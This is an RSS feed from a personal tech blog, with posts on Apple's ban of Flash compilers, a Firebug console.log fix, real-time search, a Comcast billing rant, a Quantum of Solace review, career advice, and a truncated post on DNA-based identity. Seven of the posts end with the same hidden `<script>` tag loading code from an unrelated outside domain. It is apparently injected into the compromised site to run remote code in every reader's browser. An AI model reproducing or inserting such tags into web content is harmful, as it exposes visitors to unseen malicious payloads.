<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>headphono.us &#187; General</title>
	<atom:link href="http://headphono.us/category/general/feed/" rel="self" type="application/rss+xml" />
	<link>http://headphono.us</link>
	<description>Pras Sarkar blogs about web technology, music, social networks, digital identities and other random things.</description>
	<lastBuildDate>Sat, 08 May 2010 17:42:38 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Adobe Flash loophole for iPhone apps?</title>
		<link>http://headphono.us/2010/04/11/adobe-flash-loophole-for-iphone-apps/</link>
		<comments>http://headphono.us/2010/04/11/adobe-flash-loophole-for-iphone-apps/#comments</comments>
		<pubDate>Mon, 12 Apr 2010 04:09:39 +0000</pubDate>
		<dc:creator>Pras Sarkar</dc:creator>
				<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://headphono.us/?p=162</guid>
		<description><![CDATA[Hot on the tails of the recent unearthing of the despicable banning of meta platforms like Adobe Flash in the Apple App Store, it looks like there might be a loophole to getting apps through.

According to the video above, in the upcoming Adobe Flash CS5, there is a way to export Flash to HTML5 canvas. [...]]]></description>
			<content:encoded><![CDATA[<p>Hot on the tails of the <a href="http://headphono.us/2010/04/08/plea-to-apple-from-an-iphone-developer/">recent unearthing</a> of the despicable banning of meta platforms like Adobe Flash in the Apple App Store, it looks like there might be a loophole to getting apps through.</p>
<p><object width="580" height="385"><param name="movie" value="http://www.youtube.com/v/v69S22ZBBqA&#038;color1=0xb1b1b1&#038;color2=0xcfcfcf&#038;hl=en_US&#038;feature=player_embedded&#038;fs=1&#038;start=190"></param><param name="allowFullScreen" value="true"></param><param name="allowScriptAccess" value="always"></param><embed src="http://www.youtube.com/v/v69S22ZBBqA&#038;color1=0xb1b1b1&#038;color2=0xcfcfcf&#038;hl=en_US&#038;feature=player_embedded&#038;fs=1&#038;start=190" type="application/x-shockwave-flash" allowfullscreen="true" allowScriptAccess="always" width="580" height="385"></embed></object></p>
<p>According to the video above, in the <a href="http://cs5launch.adobe.com/">upcoming Adobe Flash CS5</a>, there is a way to export Flash to HTML5 canvas. If this is possible for the entirety of a Flash application, it could mean that a flash app could be exported to HTML5 and then run through Webkit (ala <a href="http://www.phonegap.com">PhoneGap</a>), which would be allowed according to Apple&#8217;s developer agreement policies.</p>
<p>We&#8217;ll only know for sure once CS5 is announced tomorrow, but here&#8217;s to hoping Flash isn&#8217;t shut out of the party just yet.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://headphono.us/2010/04/11/adobe-flash-loophole-for-iphone-apps/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Plea to Apple from an iPhone developer</title>
		<link>http://headphono.us/2010/04/08/plea-to-apple-from-an-iphone-developer/</link>
		<comments>http://headphono.us/2010/04/08/plea-to-apple-from-an-iphone-developer/#comments</comments>
		<pubDate>Fri, 09 Apr 2010 05:11:48 +0000</pubDate>
		<dc:creator>Pras Sarkar</dc:creator>
				<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://headphono.us/?p=156</guid>
		<description><![CDATA[Earlier today, John Gruber broke the news that using meta frameworks like Adobe&#8217;s Flash-to-iPhone compiler and others like MonoTouch will be disallowed for apps that want to get through the App Store process:
3.3.1 — Applications may only use Documented APIs in the manner prescribed by Apple and must not use or call any private APIs. [...]]]></description>
			<content:encoded><![CDATA[<p>Earlier today, <a href="http://daringfireball.net/2010/04/iphone_agreement_bans_flash_compiler">John Gruber broke the news</a> that using meta frameworks like Adobe&#8217;s Flash-to-iPhone compiler and others like MonoTouch will be disallowed for apps that want to get through the App Store process:</p>
<blockquote><p>3.3.1 — Applications may only use Documented APIs in the manner prescribed by Apple and must not use or call any private APIs. Applications must be originally written in Objective-C, C, C++, or JavaScript as executed by the iPhone OS WebKit engine, and only code written in C, C++, and Objective-C may compile and directly link against the Documented APIs (e.g., Applications that link to Documented APIs through an intermediary translation or compatibility layer or tool are prohibited).</p></blockquote>
<p>While I have read many arguments about <a href="http://www.wired.com/epicenter/2010/01/googles-dont-be-evil-mantra-is-bullshit-adobe-is-lazy-apples-steve-jobs/">Job&#8217;s hatred for Flash</a> and their concern that it would flood the app store with sub-standard apps, my beef is not with Apple&#8217;s rejection of Flash for content. If they feel Flash is buggy and should not be allowed for content consumption in Safari, that&#8217;s fine with me (though I disagree with them). </p>
<p>However, when Apple <em>forces</em> developers to write apps in Objective-C which in my opinion is a confusing, mediocre and much too verbose language, I can&#8217;t help but feel that Apple is kicking their developers in the teeth. If it wasn&#8217;t for the iPhone developers, Apple would not enjoy the consumer appeal of the wide range of apps that exist in the App Store today. The iPhone developers have helped Apple become a leader in the smartphone 3rd-party app store segment, far above their competitors. And Apple repays them by insisting that developers code in a very specific set of languages?</p>
<p>It&#8217;s amazing to me how far Apple has come from their <a href="http://www.youtube.com/watch?v=USn5t5nQWU8">&#8220;Think Different&#8221;</a> appeal in the 80s &#8211; when standing up to Big Blue and Microsoft by claiming &#8220;openness&#8221; (well, <a href="http://www.slate.com/id/2249872/">Steve Wozniack did, not Steve Jobs</a>), they now epitomize the essence of who they were standing up against. They are making it mandatory to not only follow their arcane and flaky App store processes, but <em>insisting</em> on using their coding languages, standards and processes seems incredulous. Apple, why don&#8217;t you embrace &#8220;openness&#8221; and allow meta frameworks to compile to your language of choice? You still control the platform, the language and the process. Why are you screwing the very developers who have stood by you through thick and thin to contribute to making the iPhone the success it is today.</p>
<p>Please Apple, please change your stance and give developers a break.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://headphono.us/2010/04/08/plea-to-apple-from-an-iphone-developer/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Firebug console bug/erratic behavior</title>
		<link>http://headphono.us/2010/03/22/firebug-console-bugerratic-behavior/</link>
		<comments>http://headphono.us/2010/03/22/firebug-console-bugerratic-behavior/#comments</comments>
		<pubDate>Mon, 22 Mar 2010 18:54:09 +0000</pubDate>
		<dc:creator>Pras Sarkar</dc:creator>
				<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://headphono.us/?p=150</guid>
		<description><![CDATA[This bug happens quite often and is very hard to pin down. It usually manifests itself as some piece of functionality in your app not working until you open the Firebug console window. If you&#8217;re using console.log anywhere in your code-base, this error occurs since the Firebug console window isn&#8217;t defined unless it is open [...]]]></description>
			<content:encoded><![CDATA[<p>This bug happens quite often and is very hard to pin down. It usually manifests itself as some piece of functionality in your app <strong>not</strong> working until you open the Firebug console window. If you&#8217;re using <code>console.log</code> anywhere in your code-base, this error occurs since the Firebug console window isn&#8217;t defined unless it is open and usable.</p>
<p>Luckily, the fix is quite easy. Just surround your <code>console.log()</code> with a check to see if its available:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">   <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span> window.<span style="color: #660066;">console</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
      console.<span style="color: #660066;">log</span><span style="color: #009900;">&#40;</span> whatever <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
   <span style="color: #009900;">&#125;</span></pre></div></div>

<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://headphono.us/2010/03/22/firebug-console-bugerratic-behavior/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>We need smarter &#8220;real-time&#8221; search engines</title>
		<link>http://headphono.us/2010/03/11/we-need-smarter-real-time-search-engines/</link>
		<comments>http://headphono.us/2010/03/11/we-need-smarter-real-time-search-engines/#comments</comments>
		<pubDate>Thu, 11 Mar 2010 18:54:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://headphono.us/?p=127</guid>
		<description><![CDATA[There was an <a href="http://www.guardian.co.uk/technology/blog/2010/mar/09/google-eye-tracking-twitter-real-time-search">interesting article in the Guardian</a> recently highlighting a study that claims that users mostly ignore "real-time" search results in Google. If you're not familiar with the real time results, it's those search results from twitter, facebook, etc. right at the very top before the web results.

The article goes on to say that it might be due to the fact that not much information is contained in short 140 character tweets, thereby not being very useful for searchers. I tend to agree. However, this isn't necessarily a bad thing. ]]></description>
			<content:encoded><![CDATA[<p>There was an <a href="http://www.guardian.co.uk/technology/blog/2010/mar/09/google-eye-tracking-twitter-real-time-search">interesting article in the Guardian</a> recently highlighting a study that claims that users mostly ignore &#8220;real-time&#8221; search results in Google. If you&#8217;re not familiar with the real time results, it&#8217;s those search results from twitter, facebook, etc. right at the very top before the web results.</p>
<p>The article goes on to say that it might be due to the fact that not much information is contained in short 140 character tweets, thereby not being very useful for searchers. I tend to agree. However, this isn&#8217;t necessarily a bad thing. </p>
<p>Historically, we&#8217;ve been used to reading news articles &#8211; either published in old media (newspapers, magazines, etc.), or new media (online news sites, blogs, etc.) &#8211; that always present a holistic view about the topic being reported on. The information contained is logically formatted into an intro, body and a conclusion. This format largely makes sense to us, and is easy to read and follow.</p>
<p>However, the new age of information dissipation is much more fragmented and dare I say, <em>iterative</em>. News about a topic does not necessarily contain all the facts at once, but each small snippet of news (aka a tweet) may add iteratively and chronologically to the overall topic. To understand a breaking news story, we may have to scan multiple tweets to understand context, get relevant and pertinent facts and <em>then</em> read the commentary.  This is why I believe most real-time search engines are doing it wrong currently. Most of them present commentary (tweets) about popular (or not so popular) topics &#8211; which is great, but only for the person who is already familiar with the subject being reported on. </p>
<p>Last year, if I searched for &#8220;hudson plane crash&#8221;, there wasn&#8217;t a single real-time search engine that consolidated all the facts and presented a timeline of events. Instead, users had to piece together (very carefully and often mistakenly) the chronological episode of events. Most users gave up after reading the useless commentary (&#8220;omg&#8230; a plane has crashed into the hudson!&#8221;) and instead waited until news outlets like Yahoo! News, AP, etc. consolidated and reported the entire story.</p>
<p>But it doesn&#8217;t have to be that way. Fortunately, all the important and relevant pieces of information are out there &#8211; contained in short tweets. Real-time search engines should be getting smarter about collecting tweets, analyzing them for relevant and trustworthy content, and combining them to be &#8217;super tweets&#8217;. These super tweets could be structured (depending on the subject), or unstructured. Maybe even use Natural Language Processing (NLP) to stitch tweets together to form ad-hoc news stories on the fly. So that when the user searches for &#8220;hudson plane crash&#8221;, they wouldn&#8217;t just happen to see the last 10 tweets about the topic, but instead a timeline of events, most recent pictures, videos, commentary and rich media like the plane&#8217;s path, local emergency numbers, affected airport/airline delays, etc.</p>
<p>Each and every day, we&#8217;re producing an incredible amount of new information. The future won&#8217;t just be about effectively searching that huge corpus, but consuming information in a concise and logical format &#8211; hopefully one that is created automatically.</p>
<p>Luckily, I get to work on these types of problems at <a href="http://research.yahoo.com">Yahoo! Research</a>. If you&#8217;re interested in working on similar problems, take a look at our <a href="http://research.yahoo.com/Job_Opportunities">open positions</a>.<br />
<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://headphono.us/2010/03/11/we-need-smarter-real-time-search-engines/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>When IT negatively affects brand equity</title>
		<link>http://headphono.us/2009/09/08/when-it-negatively-affects-brand-equity/</link>
		<comments>http://headphono.us/2009/09/08/when-it-negatively-affects-brand-equity/#comments</comments>
		<pubDate>Wed, 09 Sep 2009 06:50:23 +0000</pubDate>
		<dc:creator>Pras Sarkar</dc:creator>
				<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://headphono.us/?p=100</guid>
		<description><![CDATA[Caution: Semi-long rant, but a valuable message at the end.
I&#8217;ve had my fair share of troubles with poorly implemented online systems (I&#8217;m looking at you Citibank), but my experience today with Comcast takes the cake. This is an example of how digitizing traditional processes with state-of-the-art online payment systems might reduce costs for large corporations, [...]]]></description>
			<content:encoded><![CDATA[<p><em>Caution: Semi-long rant, but a valuable message at the end.</em></p>
<p>I&#8217;ve had my fair share of troubles with poorly implemented online systems (I&#8217;m looking at you Citibank), but my experience today with Comcast takes the cake. This is an example of how digitizing traditional processes with state-of-the-art online payment systems might reduce costs for large corporations, but if not implemented correctly can backfire by deteriorating the brand image. After today, I am thinking of changing cable/internet providers not because my current provider Comcast doesn&#8217;t offer a great lineup of channels and have been generally very good about giving me discounts, but simply because of the amount of pain I had to suffer as a customer to use their online system.</p>
<p>My troubles started a few months back when my account on comcast.com wouldn&#8217;t accept my password. Now I use a lot of different passwords so I attributed it to user error and tried to recover my password. Upon loading the password recovery screen, it presented me with the following:</p>
<p>Secret Question: Your secret question has expired.<br />
Secret Answer: &lt;text input field&gt;</p>
<p>Of course since my secret question had expired (which I wasn&#8217;t aware had an expiry date in the first place), submitting the form with a blank secret answer worked and it sent me the password recovery email. Using the link from the email I was able to change my password and log in to my account. But oddly enough, the new password wouldn&#8217;t be saved. So the next time I went to login, I was reduced to following this same process.</p>
<p>Now this is fine. The customer will always chose the least costly option. For me, it was repeating this arcane process instead of calling their tech support. Most customers deal with minor annoyances for any product so it wasn&#8217;t very unusual.</p>
<p>However, the kicker came recently when Comcast supposedly &#8220;upgraded&#8221; their system. This new system locked me out completely. And worst of all, it seemed to throw errors all over the place for no apparent reason. Trying to repeat the above process, I would get to the password recovery screen only to be told a very generic &#8220;An error has occured. Please call 1-800-COMCAST&#8221;.</p>
<p>Unable to yield the system to my ways, I decided to throw up my hands and call 1-800-COMCAST. Lo and behold, after the 5-minute promo messages, I was asked to choose whether I had a problem with my service or had a billing question. As a customer, I&#8217;m now supposed to chose between two options of which neither fit my problem.</p>
<p>Suggestion to Comcast: Choices are great for streamlining helpdesk/support systems for companies. Not so much for customers who have to decide on options which may not be clear or to which they themselves might not know the answer to. Keep choices open-ended and inclusive of all possible problems.</p>
<p>Anyway, having previous experience with such systems, I decided to try the undocumented press &#8220;0&#8243; to speak to an operator. Unfortunately, Comcast doesn&#8217;t believe in offering that convenience so it didn&#8217;t work. I was reduced to choosing &#8220;problem with my service&#8221; (even though I didnt). The next choice was between Cable, Internet or Phone. Huh? I guess I have no issues with my Internet connection but comcast.com is *on* the internet, so I guess that is the closest choice. Let&#8217;s go for it.</p>
<p>After waiting through the usual stellar music choices, I was connected to someone. Anyway, reading from her script, she explained that their new system was migrating all accounts from comcast.com to comcast.net and then proceeded to up sell me on the great new features about comcast.net. At this stage, since I didn&#8217;t really care about comcast.net I decided to cut her short and explained my problem of not being able to login to comcast.com, not comcast.net. She didn&#8217;t seem to understand and kept repeating that I had to login through comcast.net.</p>
<p>With no energy to argue any more, I decided to sign up and establish an account with comcast.net. Once I logged in and saw an option to &#8220;Pay my bill&#8221;, I rejoiced. Unfortunately, clicking on &#8220;Pay my bill&#8221; put me into a giant infinite loop where it would send me to Login followed by Logout and back again. It was almost comical.</p>
<p>Trying a different browser seemed to fix the infinite loop issue. One. Step. Closer. Arriving at the screen to supply my credit card information, I didn&#8217;t have much faith in the system. Here&#8217;s a reputable company who has completely lost my faith because of a horribly implemented IT solution. I proceeded to enter my details (I had to pay the bill anyway), hit Submit and lo and behold, it got stuck in the infinite loop again. No indication whether the payment went through successfully or not. I guess I&#8217;ll have to check with my bank.</p>
<p>This rant isn&#8217;t to highlight the major fallacies of the Comcast online system as much as the importance of implementing IT systems that are in line with the strategy of brand building. It&#8217;s quite easy to look at IT as a way of reducing costs, streamlining processes and reducing headcount. Those are all operating concerns and should be of high importance to any CIO. However, the risk of implementing these IT systems poorly and not testing them enough results in a severe loss of brand equity. Comcast &#8211; the brand &#8211; in my eyes is now an organization that does not value technology. It gives me no faith in its crucial systems (like credit card transactions) and will now lead me to look elsewhere. Their brand equity is so depleted in my case that I&#8217;m ready to overlook all their good qualities (discounts, good cable quality, great selection of hi-def channels, etc.). I&#8217;m ready to move to DirectTV or Dish Network or anyone else that has a much more reliable online system because to me as a consumer those are all integral parts of the brand.</p>
<p>This isn&#8217;t limited to Comcast. I was recently so frustrated with Citibank&#8217;s online system that I decided to move all my checkings, savings, and investment accounts to Bank of America &#8211; specifically because of their online system. Sure, I&#8217;m not the typical consumer because I put a lot more value into online systems and how they make my life easier, but that&#8217;s not to say that this online channel is not important. After all, if it wasn&#8217;t important, large corporations wouldn&#8217;t be spending millions on implementing these new online payment systems.</p>
<p>I know most people have horror stories about their technical problems with a variety of online systems. How has the brand image of a corporation been affected if and when you&#8217;ve had such problems in the past? Have you been frustrated enough to change to a competitor? Have you lost trust and faith in the brand? Have you gone so far as to virally spread the negative brand experiences with others?<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://headphono.us/2009/09/08/when-it-negatively-affects-brand-equity/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Review: Quantum of Solace (no spoilers)</title>
		<link>http://headphono.us/2008/11/14/review-quantum-of-solace-no-spoilers/</link>
		<comments>http://headphono.us/2008/11/14/review-quantum-of-solace-no-spoilers/#comments</comments>
		<pubDate>Fri, 14 Nov 2008 19:54:31 +0000</pubDate>
		<dc:creator>Pras Sarkar</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[bond]]></category>
		<category><![CDATA[james bond]]></category>
		<category><![CDATA[movie review]]></category>
		<category><![CDATA[quantum of solace]]></category>

		<guid isPermaLink="false">http://headphono.us/?p=67</guid>
		<description><![CDATA[Quantum of Solace opened this weekend, and as any self-respecting die-hard Bond fan would, I had to go watch the opening show. Lines were long, seats were suboptimal, but thankfully, the movie wasn&#8217;t a disappointment.
There&#8217;s no denying that Quantum of Solace is stellar. It helps further the new direction that the Bond franchise is moving [...]]]></description>
			<content:encoded><![CDATA[<p>Quantum of Solace opened this weekend, and as any self-respecting die-hard Bond fan would, I had to go watch the opening show. Lines were long, seats were suboptimal, but thankfully, the movie wasn&#8217;t a disappointment.</p>
<p>There&#8217;s no denying that Quantum of Solace is stellar. It helps further the new direction that the Bond franchise is moving in. It&#8217;s a thrill-ride (yes, it&#8217;s cliche) for the die-hard Bond fan as well as casual action-seeking movie goer. The opening scene is breathtaking, the story progresses well, and even though the running time is only 1 hour 46 minutes, you never feel like you didn&#8217;t get your money&#8217;s worth. The direction is reminiscent of the Bourne series, if a bit theatrical at times. Quantum of Solace was expected to show James Bond get in touch with his feelings, which he did and it was handled expertly, not going overboard with emotion. The movie may not be as good as Casino Royale, but it stands far apart from previous Brosnan&#8217;s exploits like Die Another Day and The World is Not Enough. So go watch it.</p>
<p>With that being said, the rest of this review is for the die-hard fans. These are the small details that make a Bond movie special or fall flat for the fans.</p>
<p>First off, the opening credits scene was a bit weak. As you&#8217;ve come to expect with any Bond movie, the credits are surreal, full of visual trickery and have a memorable theme song. The theme song was not catchy, the visual trickery was not as good as Casino Royale. The trademark body silhouettes just weren&#8217;t evocative enough.</p>
<p>Quantum of Solace is full of chase sequences. Bond is chased through mountains, lakes, in cars, boats, planes, anything else you can think of. It is so full of chases, that you almost wish it would stop. There are too many, some overly theatrical. Most Bond movies (including Casino Royale) intertwine a bit of fun, glamour, romance (if you can call it that) in with the captivating action. But this movie seems to take itself too seriously. There are few moments that give you a chance to reflect, even fewer that show Bond having a bit of fun or mentally jabbing with the villain (like the poker scene in Casino Royale). At times, the movie was so intense, you almost wished that they would show 5 minutes of Bond sleeping.</p>
<p>The only other gripe I have is that there are too many location changes in the movie. Usually Bond does his share of world traveling, but being a short movie, it felt very fragmented each time he kept switching continents every 10 minutes. You&#8217;ll also notice that (for some odd reason), they start referring to M as Maum (Mom?). They alluded to this in one short scene in Casino Royale, but she is addressed by this name exclusively in Quantum of Solace. The villain is a bit weak, and there are no classic henchman like Jaws, Oddjob, etc. There are almost no gadgets in this movie, which isn&#8217;t a bad thing, but it moves away slightly from the classic Bond theme.</p>
<p>This Bond movie, in my opinion, felt like the second part in a three part trilogy. This is the penultimate one that furthers the story line set forth in the prequel, and sets the stage for the final one. The Bond franchise seems to be making a deliberately effort to change the Bond legacy to a new format &#8211; one of realism and humanness. Ironically, it almost starts to feel Bourne-like.</p>
<p>With all that being said, this movie is definitely worth a watch. The added bonus: after watching the movie, you find out the real meaning of &#8220;Quantum of Solace&#8221;.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://headphono.us/2008/11/14/review-quantum-of-solace-no-spoilers/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Become a specialist at being a generalist</title>
		<link>http://headphono.us/2008/06/09/become-a-specialist-at-being-a-generalist/</link>
		<comments>http://headphono.us/2008/06/09/become-a-specialist-at-being-a-generalist/#comments</comments>
		<pubDate>Mon, 09 Jun 2008 07:01:59 +0000</pubDate>
		<dc:creator>Pras Sarkar</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Productivity]]></category>
		<category><![CDATA[generalist]]></category>
		<category><![CDATA[skills]]></category>
		<category><![CDATA[specialist]]></category>

		<guid isPermaLink="false">http://headphono.us/?p=58</guid>
		<description><![CDATA[At my day job at Yahoo! Research, I get to interview my fair share of engineers. Almost always, the candidates seem to fall into one of two types &#8211; the specialists and the generalists. The specialists are those who come from a strong background of fundamentals. Over years, they have honed and assimilated the details [...]]]></description>
			<content:encoded><![CDATA[<p>At my day job at <a href="http://research.yahoo.com/" title="Yahoo! Research">Yahoo! Research</a>, I get to interview my fair share of engineers. Almost always, the candidates seem to fall into one of two types &#8211; the specialists and the generalists. The specialists are those who come from a strong background of fundamentals. Over years, they have honed and assimilated the details of their language or technology of choice. The generalists are the hungry scavengers. They try everything at least once, are infatuated with exploring every new technology or programming language and have built up a repertoire of buzzwords in their resumes.</p>
<p>The question often asked is: if you were asked to choose from two candidates &#8211; a specialist and a generalist &#8211; which would you choose? Like most things in life, it&#8217;s not a binary answer. There isn&#8217;t a right or wrong answer. There are, however, right or wrong decisions on hiring the right candidate for the right job. Each type of candidate has their strengths and weaknesses. It&#8217;s best to make the decision after careful evaluation of how closely aligned these types of candidates are to the job requirements and to the company at large.</p>
<p>This post is intended to be an introduction to a series of posts where I hope to give valuable tips on becoming an effective generalist. Before we begin though, I&#8217;d like to clarify a couple of things. By offering tips on becoming a better generalist, I don&#8217;t mean to suggest in any way that a generalist is better than a specialist &#8211; it&#8217;s just that I have more experience as a generalist as I have spent my career being one. And more specifically, I will tell you how to be a better generalist. How you use my tips in practice to improve yourself will be an exercise left up to your talent, dedication and passion. With that out of the way, let&#8217;s begin with the first in the series.</p>
<h4>Become a specialist at being a generalist</h4>
<p>This may sound almost like an oxymoron, but hear me out. Often, I&#8217;ve seen too many startup-headed, caffeine-infused, entry-level engineers  who are ready to conquer the world. They dive into their projects with vigor and passion, trying to excel and outshine other members of the team. This is great and is the right attitude to have, and if you&#8217;re one of these individuals, you&#8217;re on the right track.</p>
<p><img src="http://farm1.static.flickr.com/232/511676401_0c77e72fd7.jpg?v=0" width="150" align="right" /></p>
<p>But commonly, what develops is this insatiable thirst for doing too much. It starts slow at first. Inconspicuously over time, you may find your behavior leading to a need for constant exploration of new fields of knowledge. In a startup company, it&#8217;s the engineers in the team who have the &#8220;i-can-do-everything&#8221; attitude. You start to not only code, but help out with tech support tickets. A marketing colleague drops by and you promise to deliver a new undocumented feature that will look good on your resume. Your geek buddies suddenly start talking about Python, and you want to learn it right away and test it out on a project. A new framework hits the web, you need to rewrite that last web application using the new framework. This weekend. Sound familiar?</p>
<p>What is important to note is that the above attitude isn&#8217;t bad &#8211; instead it&#8217;s possibly detrimental to your development as an outstanding generalist. In fact, the attitude is the focal point of being a great generalist. However, being caught in a never-ending spiral of exploration is the crux of someone who could have been a great generalist. That&#8217;s why it&#8217;s important to specialize in being a generalist. What does this mean? Specialization in any field means knowing the ins and outs. It means being ahead of the curve, leading rather than following innovation in the field. It also means doing what you do best, and better than the rest. And this is exactly what differentiates an effective and outstanding generalist from the rest.</p>
<p>It means to know what to explore. It means knowing how to keep your skills up to date. It means critically thinking about every new technology and what it means to you. It means visualizing the results before jumping into a new project.</p>
<p>So, I hear you say, that&#8217;s easier said than done. Actually, you&#8217;ll be amazed at how easy it is to accomplish with a little discipline and a few tips. Here are a few:</p>
<ul>
<li><strong>Stay up-to-date with your area of generalization.</strong> This is crucial to the art of being a generalist. You must be able to consume large amounts of information each and every day to stay current on trends in your field. Over time, get into the habit of refining your methodologies. Always adapt as tools evolve and new ones come up. Become a master at picking good information out from the bad. Try to read sources of information that you trust, and have helped you in the past. Don&#8217;t get caught in the &#8216;chatter&#8217; &#8211; opinions are plenty and every blogger has more than a few, learn to separate them from the real information.</li>
<li><strong>Know what to explore and what to ignore.</strong> This is the second step after you&#8217;ve found the right information. Read and learn more than what you actually explore and implement. Remember that time is very precious for every generalist. Don&#8217;t waste it by exploring a &#8216;cool&#8217; website, learning a new language that all the cool geeks are talking about, etc. without knowing exactly how and why it will help you. Almost 50% of what you decide to explore will be of no use to you. The higher you manage to push this success rate, the more successful you&#8217;ll be.</li>
<li><strong>Be critical of new technologies.</strong> Mankind will always continue to invent and innovate. And when there&#8217;s not enough innovation, there&#8217;s recycling. If you&#8217;ve been around long enough, you&#8217;ll be able to pick out what&#8217;s recycled and what&#8217;s innovative. Learn this skill and get better at it. Think critically of a new technology that claims to solve a problem. Can this problem be solved with what you already know? Was this ever a problem or is this a problem that&#8217;s made up just to invent a new technology that solves it?</li>
<li><strong>Visualize the results of all new pursuits and endeavors.</strong> It&#8217;s easy to start every new project with an unknown factor. It&#8217;s the thought that whatever work you do will be worth it and at the end, there will be a lesson learned. Though this is a very healthy attitude to have, it only works well if you have a lot of time on your hands. But when time is short, it&#8217;s better to visualize the rewards from such a project. Is it going to increase your skill set in a particular language? Or is it going to help you gain understanding of a core technology across all languages? Spend time on it only if the rewards qualify the effort. Otherwise, be patient and spend time on something else that will give you bigger rewards.</li>
<li><strong>Don&#8217;t over-generalize.</strong> No potential employer is going to look through 30 different buzzwords and be excited that you tried and explored each. In most cases, an employer has already decided and probably spent a great amount of resources on a few key technologies. They need someone that fits into one or more of the technologies <em>they</em> use &#8211; not the other way around. The key is to explore many technologies but concentrate and gain expertise in a select few.</li>
</ul>
<p>These tips should help you direct yourself on the path to becoming a more effective generalist. Stay tuned for more articles on specific tips to help you along the way.</p>
<p>Always remember that being a generalist helps you get your resume through the door, specializing at being a generalist gets you the job.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://headphono.us/2008/06/09/become-a-specialist-at-being-a-generalist/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Attached is my resume and DNA</title>
		<link>http://headphono.us/2008/04/08/attached-is-my-resume-and-dna/</link>
		<comments>http://headphono.us/2008/04/08/attached-is-my-resume-and-dna/#comments</comments>
		<pubDate>Tue, 08 Apr 2008 07:04:24 +0000</pubDate>
		<dc:creator>Pras Sarkar</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[23andMe]]></category>
		<category><![CDATA[DNA]]></category>
		<category><![CDATA[genome]]></category>
		<category><![CDATA[MicroID]]></category>
		<category><![CDATA[OpenID]]></category>

		<guid isPermaLink="false">http://headphono.us/?p=54</guid>
		<description><![CDATA[
Imagine if the attempts by startups in the genome space like 23andMe were to succeed at cataloging everyone&#8217;s DNA. Would this piece of DNA become the ultimate representation of who and what you are? What would be the effects of having all the things that make you uniquely human be reduced to a string of [...]]]></description>
			<content:encoded><![CDATA[<p><a title="Double helix courtesy of mrhappy from Flickr" href="http://flickr.com/photos/mrhappy8/417831333/"><img class="alignright" style="float: right;" src="http://farm1.static.flickr.com/182/417831333_3d3389fc41.jpg?v=0" alt="Double helix courtesy of mrhappy from Flickr" width="260" /></a></p>
<p>Imagine if the attempts by startups in the genome space like <a href="http://www.23andme.com">23andMe</a> were to succeed at cataloging everyone&#8217;s DNA. Would this piece of DNA become the ultimate representation of who and what you are? What would be the effects of having all the things that make you uniquely human be reduced to a string of characters?</p>
<p>It&#8217;s interesting to wonder if there would exist social networks around your DNA. Imagine a Facebook-style profile page that is uniquely identified by your DNA. Others could browse for the abilities that make you unique, your inherent strengths (and possibly your weaknesses), and possibly &#8220;friend&#8221; you based on your DNA. Maybe your DNA will be your <a href="http://www.openid.org">OpenID</a> or <a href="http://www.microid.com">MicroID</a>?</p>
<p>Here are a few interesting thoughts on how different applications could/would use your DNA:</p>
<ul>
<li><strong>Dating sites</strong> &#8211; Matching people based on their DNA would outperform any complex dating algorithm out there right now (or so I believe). Imagine choosing your partner not just based on an algorithm&#8217;s recommendation, but based on specific scientific properties &#8211; maybe someone that complements your recessive genes?</li>
<li><strong>Recruiting</strong> &#8211; What if companies started asking for your genome in addition to your resume? It&#8217;s not that far fetched really &#8211; some companies already do extensive drug tests. Could companies accept/reject you solely based on your genes? Imagine if a company could pass on hiring a graphic designer just because he/she didn&#8217;t have the desired &#8216;creative&#8217; gene?</li>
<li><strong>Insurance companies</strong> &#8211; Your DNA could easily identify the diseases that you&#8217;re most susceptible to. Could life insurance companies reject you based on that? Would that be fair?</li>
</ul>
